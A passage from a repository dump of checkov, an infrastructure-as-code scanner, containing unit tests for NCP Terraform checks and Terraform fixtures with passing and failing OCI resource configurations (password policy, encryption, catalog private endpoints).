failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_LBNetworkPrivate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.LBNetworkPrivate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBNetworkPrivate(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LBNetworkPrivate\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_lb.pass\",\n        }\n        failing_resources = {\n            \"ncloud_lb.fail\",\n            \"ncloud_lb.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_LBTargetGroupDefinesHealthCheck.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.LBTargetGroupDefinesHealthCheck import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBTargetGroupDefinesHealthCheck(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LBTargetGroupDefinesHealthCheck\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_lb_target_group.pass\",\n        }\n        failing_resources = {\n            \"ncloud_lb_target_group.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_LBTargetGroupUsingHTTPS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.LBTargetGroupUsingHTTPS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBTargetGroupUsingHTTPS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LBTargetGroupUsingHTTPS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_lb_target_group.pass\",\n        }\n        failing_resources = {\n            \"ncloud_lb_target_group.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_LaunchConfigurationEncryptionVPC.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.LaunchConfigurationEncryptionVPC import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLaunchConfigurationCheck(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LaunchConfigurationEncryptionVPC\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_launch_configuration.pass\",\n        }\n        failing_resources = {\n            \"ncloud_launch_configuration.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NACLInbound20.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NACLInbound20 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNACLInbound20(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NACLInbound20\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_network_acl_rule.pass\",\n            \"ncloud_network_acl_rule.pass1\"\n        }\n        failing_resources = {\n            \"ncloud_network_acl_rule.fail\",\n            \"ncloud_network_acl_rule.fail1\",\n            \"ncloud_network_acl_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NACLInbound21.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NACLInbound21 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNACLInbound21(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NACLInbound21\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_network_acl_rule.pass\",\n            \"ncloud_network_acl_rule.pass1\"\n        }\n        failing_resources = {\n            \"ncloud_network_acl_rule.fail\",\n            \"ncloud_network_acl_rule.fail1\",\n            \"ncloud_network_acl_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NACLInbound22.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NACLInbound22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNACLInbound22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NACLInbound22\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_network_acl_rule.pass\",\n            \"ncloud_network_acl_rule.pass1\"\n        }\n        failing_resources = {\n            \"ncloud_network_acl_rule.fail\",\n            \"ncloud_network_acl_rule.fail1\",\n            \"ncloud_network_acl_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NACLInbound3389.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NACLInbound3389 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNACLInbound3389(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NACLInbound3389\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_network_acl_rule.pass\",\n            \"ncloud_network_acl_rule.pass1\"\n        }\n        failing_resources = {\n            \"ncloud_network_acl_rule.fail\",\n            \"ncloud_network_acl_rule.fail1\",\n            \"ncloud_network_acl_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NACLPortCheck.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NACLPortCheck import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNACLPortCheck(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NACLPortCheck\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_network_acl_rule.pass\",\n            \"ncloud_network_acl_rule.pass1\"\n        }\n        failing_resources = {\n            \"ncloud_network_acl_rule.fail\",\n            \"ncloud_network_acl_rule.fail1\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NASEncryptionEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NASEncryptionEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNASEncryptionEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NASEncryptionEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_nas_volume.pass\",\n        }\n        failing_resources = {\n            \"ncloud_nas_volume.fail\",\n            \"ncloud_nas_volume.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NKSControlPlaneLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NKSControlPlaneLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNKSControlPlaneLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NKSControlPlaneLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_nks_cluster.pass\",\n        }\n        failing_resources = {\n            \"ncloud_nks_cluster.fail\",\n            \"ncloud_nks_cluster.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_NKSPublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.NKSPublicAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestNKSPublicAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_NKSPublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_nks_cluster.pass\",\n            \"ncloud_nks_cluster.pass2\"\n        }\n        failing_resources = {\n            \"ncloud_nks_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_RouteTableNATGatewayDefault.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.RouteTableNATGatewayDefault import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRouteTableNATGatewayDefault(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RouteTableNATGatewayDefault\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_route.pass\",\n        }\n        failing_resources = {\n            \"ncloud_route.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_ServerEncryptionVPC.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.ServerEncryptionVPC import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestServerEncryptionVPC(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ServerEncryptionVPC\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_server.pass\",\n        }\n        failing_resources = {\n            \"ncloud_server.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_ServerPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.ServerPublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestServerPublicIP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ServerPublicIP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_public_ip.pass\",\n        }\n        failing_resources = {\n            \"ncloud_public_ip.fail\",\n            \"ncloud_public_ip.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/oci/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_DataCatalogWithPublicAccess/main.tf",
    "content": "terraform {\n  required_providers {\n    oci = {\n      source  = \"oracle/oci\"\n      version = \"~> 4.0\"\n    }\n  }\n}\n\nprovider \"oci\" {\n  # Configure the OCI provider here\n  # You need to specify tenancy_ocid, user_ocid, fingerprint, and private_key_path\n  region = \"us-ashburn-1\"\n}\n\nresource \"oci_identity_compartment\" \"example_compartment\" {\n  name           = \"example-compartment\"\n  description    = \"Compartment for Data Catalog example\"\n  compartment_id = var.tenancy_ocid\n}\n\nresource \"oci_datacatalog_catalog\" \"fail1\" {\n  compartment_id = oci_identity_compartment.example_compartment.id\n  display_name   = \"example-catalog\"\n\n  # This configuration fails the policy\n  attached_catalog_private_endpoints = []\n\n  # Ensure the catalog is in ACTIVE state\n  lifecycle {\n    ignore_changes = [\n      # Ignore changes to tags, as they are often changed outside of Terraform\n      defined_tags, freeform_tags,\n    ]\n  }\n}\n\nresource \"oci_datacatalog_catalog\" \"fail2\" {\n  compartment_id = oci_identity_compartment.example_compartment.id\n  display_name   = \"example-catalog\"\n\n  # Ensure the catalog is in ACTIVE state\n  lifecycle {\n    ignore_changes = [\n      # Ignore changes to tags, as they are often changed outside of Terraform\n      defined_tags, freeform_tags,\n    ]\n  }\n}\n\nresource \"oci_datacatalog_catalog_private_endpoint\" \"example_private_endpoint\" {\n  compartment_id = oci_identity_compartment.example_compartment.id\n  dns_zones      = [\"example.oraclecloud.com\"]\n  subnet_id      = \"ocid1.subnet.oc1..example\"  # Replace with actual subnet OCID\n  display_name   = \"example-private-endpoint\"\n}\n\nresource \"oci_datacatalog_catalog\" \"pass\" {\n  compartment_id = oci_identity_compartment.example_compartment.id\n  display_name   = \"example-catalog\"\n\n  attached_catalog_private_endpoints = [oci_datacatalog_catalog_private_endpoint.example_private_endpoint.id]\n\n  # Ensure the catalog is in ACTIVE state\n  lifecycle {\n    ignore_changes = [\n      # Ignore changes to tags, as they are often changed outside of Terraform\n      defined_tags, freeform_tags,\n    ]\n  }\n}\n\n# Output to verify the lifecycle state\noutput \"catalog_lifecycle_state\" {\n  value = oci_datacatalog_catalog.example_catalog.lifecycle_state\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_FileSystemEncryption/main.tf",
    "content": "resource \"oci_file_storage_file_system\" \"pass\" {\n  availability_domain = var.file_system_availability_domain\n  compartment_id      = var.compartment_id\n\n  defined_tags       = { \"Operations.CostCenter\" = \"42\" }\n  display_name       = var.file_system_display_name\n  freeform_tags      = { \"Department\" = \"Finance\" }\n  kms_key_id         = oci_kms_key.test_key.id\n  source_snapshot_id = oci_file_storage_snapshot.test_snapshot.id\n}\n\n\nresource \"oci_file_storage_file_system\" \"fail\" {\n  availability_domain = var.file_system_availability_domain\n  compartment_id      = var.compartment_id\n\n  defined_tags       = { \"Operations.CostCenter\" = \"42\" }\n  display_name       = var.file_system_display_name\n  freeform_tags      = { \"Department\" = \"Finance\" }\n  source_snapshot_id = oci_file_storage_snapshot.test_snapshot.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_IAMPasswordLength/main.tf",
    "content": "resource \"oci_identity_authentication_policy\" \"pass\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = true\n    is_numeric_characters_required   = var.authentication_policy_password_policy_is_numeric_characters_required\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = 14\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = false\n    is_numeric_characters_required   = var.authentication_policy_password_policy_is_numeric_characters_required\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = 13\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail2\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = false\n    is_numeric_characters_required   = var.authentication_policy_password_policy_is_numeric_characters_required\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail3\" {\n\n  compartment_id = var.tenancy_id\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_IAMPasswordPolicyLowerCase/main.tf",
    "content": "resource \"oci_identity_authentication_policy\" \"pass\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = true\n    is_numeric_characters_required   = var.authentication_policy_password_policy_is_numeric_characters_required\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = false\n    is_numeric_characters_required   = var.authentication_policy_password_policy_is_numeric_characters_required\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_IAMPasswordPolicyNumeric/main.tf",
    "content": "resource \"oci_identity_authentication_policy\" \"pass\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = true\n    is_numeric_characters_required   = true\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = false\n    is_numeric_characters_required   = false\n    is_special_characters_required   = var.authentication_policy_password_policy_is_special_characters_required\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_IAMPasswordPolicySpecialCharacters/main.tf",
    "content": "resource \"oci_identity_authentication_policy\" \"pass\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = true\n    is_numeric_characters_required   = true\n    is_special_characters_required   = true\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = false\n    is_numeric_characters_required   = false\n    is_special_characters_required   = false\n    is_uppercase_characters_required = var.authentication_policy_password_policy_is_uppercase_characters_required\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_IAMPasswordPolicyUpperCase/main.tf",
    "content": "resource \"oci_identity_authentication_policy\" \"pass\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = true\n    is_numeric_characters_required   = true\n    is_special_characters_required   = true\n    is_uppercase_characters_required = true\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}\n\nresource \"oci_identity_authentication_policy\" \"fail\" {\n\n  compartment_id = var.tenancy_id\n\n  password_policy {\n    is_lowercase_characters_required = false\n    is_numeric_characters_required   = false\n    is_special_characters_required   = false\n    is_uppercase_characters_required = false\n    is_username_containment_allowed  = var.authentication_policy_password_policy_is_username_containment_allowed\n    minimum_password_length          = var.authentication_policy_password_policy_minimum_password_length\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/oci/example_InstanceBootVolumeIntransitEncryption/main.tf",
    "content": "resource \"oci_core_instance\" \"fail\" {\n  availability_domain = var.instance_availability_domain\n  compartment_id      = var.compartment_id\n  shape               = var.instance_shape\n\n  create_vnic_details {\n    assign_private_dns_record = var.instance_create_vnic_details_assign_private_dns_record\n    assign_public_ip          = var.instance_create_vnic_details_assign_public_ip\n    defined_tags              = { \"Operations.CostCenter\" = \"42\" }\n    display_name              = var.instance_create_vnic_details_display_name\n    freeform_tags             = { \"Department\" = \"Finance\" }\n    hostname_label            = var.instance_create_vnic_details_hostname_label\n    nsg_ids                   = var.instance_create_vnic_details_nsg_ids\n    private_ip                = var.instance_create_vnic_details_private_ip\n    skip_source_dest_check    = var.instance_create_vnic_details_skip_source_dest_check\n    subnet_id                 = oci_core_subnet.test_subnet.id\n    vlan_id                   = oci_core_vlan.test_vlan.id\n  }\n\n  dedicated_vm_host_id = oci_core_dedicated_vm_host.test_dedicated_vm_host.id\n  defined_tags         = { \"Operations.CostCenter\" = \"42\" }\n  display_name         = var.instance_display_name\n  extended_metadata = {\n    some_string   = \"stringA\"\n    nested_object = \"{\\\"some_string\\\": \\\"stringB\\\", \\\"object\\\": {\\\"some_string\\\": \\\"stringC\\\"}}\"\n  }\n  fault_domain  = var.instance_fault_domain\n  freeform_tags = { \"Department\" = \"Finance\" }\n\n  instance_options {\n    are_legacy_imds_endpoints_disabled = var.instance_instance_options_are_legacy_imds_endpoints_disabled\n  }\n\n  ipxe_script                         = var.instance_ipxe_script\n  is_pv_encryption_in_transit_enabled = var.instance_is_pv_encryption_in_transit_enabled\n\n  launch_options {\n    